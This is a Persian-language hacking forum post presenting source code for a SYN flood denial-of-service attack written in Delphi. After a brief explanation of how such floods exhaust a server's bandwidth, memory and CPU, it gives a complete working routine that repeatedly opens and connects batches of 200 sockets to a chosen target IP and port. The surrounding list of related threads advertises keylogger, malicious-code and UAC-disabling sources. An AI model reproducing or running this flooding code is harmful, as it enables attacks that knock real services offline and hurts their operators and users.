• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: سورس کد حمله SYN Flood (دلفی)
حالت خطی
#1
در این روش بسیار متداول، حمله‌کننده تعداد زیادی بسته TCP حاوی SYN ارسال می‌کند که به معنای تقاضای شروع ارتباط است، در این صورت گیرنده بسته (هدف حمله کننده) با توجه به درخواست ارتباطی را شروع کرده و در انتظار دریافت ادامه درخواست می‌ماند و چون ادامه درخواست از طریق حمله‌کننده ارسال نمی‌شود، سرور مورد نظر برای مدتی ارتباط را در خود نگه می‌دارد که تعداد زیاد این روند باعث استفاده زیاد از پهنای باند، RAM و CPU سرور مورد نظر شده و توانایی پاسخ به سایر درخواست‌ها را نخواهد داشت.

سورس کد syn flood به زبان دلفی:

کد:
unit synflood;
interface
uses
  winsock,
  windows;
type
    Tssyn = Record
    TargetIP        :string;
    TargetPort      :integer;
    len             :integer;
    end;
var
  ddos :Tssyn;
  ssynthread :Thandle;
procedure SendSuperSyn;
const
  SUPERSYN_SOCKETS = 200;
implementation
procedure SendSuperSyn;
var
  superdelay: integer;
  SockAddr: SOCKADDR_IN;
  sock: array [0..SUPERSYN_SOCKETS] of Tsocket;
  iaddr: IN_ADDR;
  mode: integer;
  c,i: integer;
begin
superdelay := 100;
SockAddr.sin_family := AF_INET;
SockAddr.sin_port := htons(ddos.TargetPort);
iaddr.s_addr := INET_ADDR(pchar(ddos.TargetIP));
SockAddr.sin_addr := iaddr; //ip addy
i := 0;
mode := 1;
  while (i < ddos.len) do
  begin
    for c := 0 to SUPERSYN_SOCKETS do begin
            sock[c] := socket(AF_INET, SOCK_STREAM, 0);
               if (sock[c] = INVALID_SOCKET) then
                      continue;
            ioctlsocket(sock[c],FIONBIO,mode);
    end;
    for c := 0 to SUPERSYN_SOCKETS do
              connect(sock[c], SockAddr, sizeof(SockAddr));
        Sleep(superdelay);
    for c := 0 to SUPERSYN_SOCKETS do
            closesocket(sock[c]); //close sockets
   i := i + 1;
  end;
Suspendthread(ssynthread);
ExitThread(0);
end;
end.
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


پیام‌های این موضوع
سورس کد حمله SYN Flood (دلفی) - توسط Amin_Mansouri - 09-09-2012، 01:25 PM

موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  سورس کد یک کیلاگر ساده ولی قوی (سی ) Amin_Mansouri 6 14,105 06-17-2014، 04:52 PM
آخرین ارسال: محمدعلی
  مجموعه سورس کدهای مخرب (دلفی ) Amin_Mansouri 1 7,250 11-09-2013، 09:49 PM
آخرین ارسال: dosibb
  مجموعه سورس کدهای مخرب (سی پلاس پلاس) Amin_Mansouri 0 6,149 01-29-2013، 02:49 PM
آخرین ارسال: Amin_Mansouri
  سورس کد اف تی پی کیلاگر Amin_Mansouri 0 4,410 09-17-2012، 07:12 PM
آخرین ارسال: Amin_Mansouri
  سورس کد ddos به زبان دلفی Amin_Mansouri 0 5,022 09-09-2012، 01:17 PM
آخرین ارسال: Amin_Mansouri
  سورس کد کیلاگر (سی شارپ) Amin_Mansouri 3 12,572 05-27-2012، 10:44 PM
آخرین ارسال: Ghoghnus
  سورس غیر فعال کردن تسک منیجر (سی پلاس پلاس) Amin_Mansouri 0 4,563 01-10-2012، 11:45 PM
آخرین ارسال: Amin_Mansouri
  درخواست سورس کد کی‌ لاگر newcoder 4 11,476 12-30-2011، 09:19 PM
آخرین ارسال: Ghoghnus
  سورس غیر فعال کردن uac با سی شارپ Amin_Mansouri 0 4,587 10-18-2011، 08:52 PM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 1 مهمان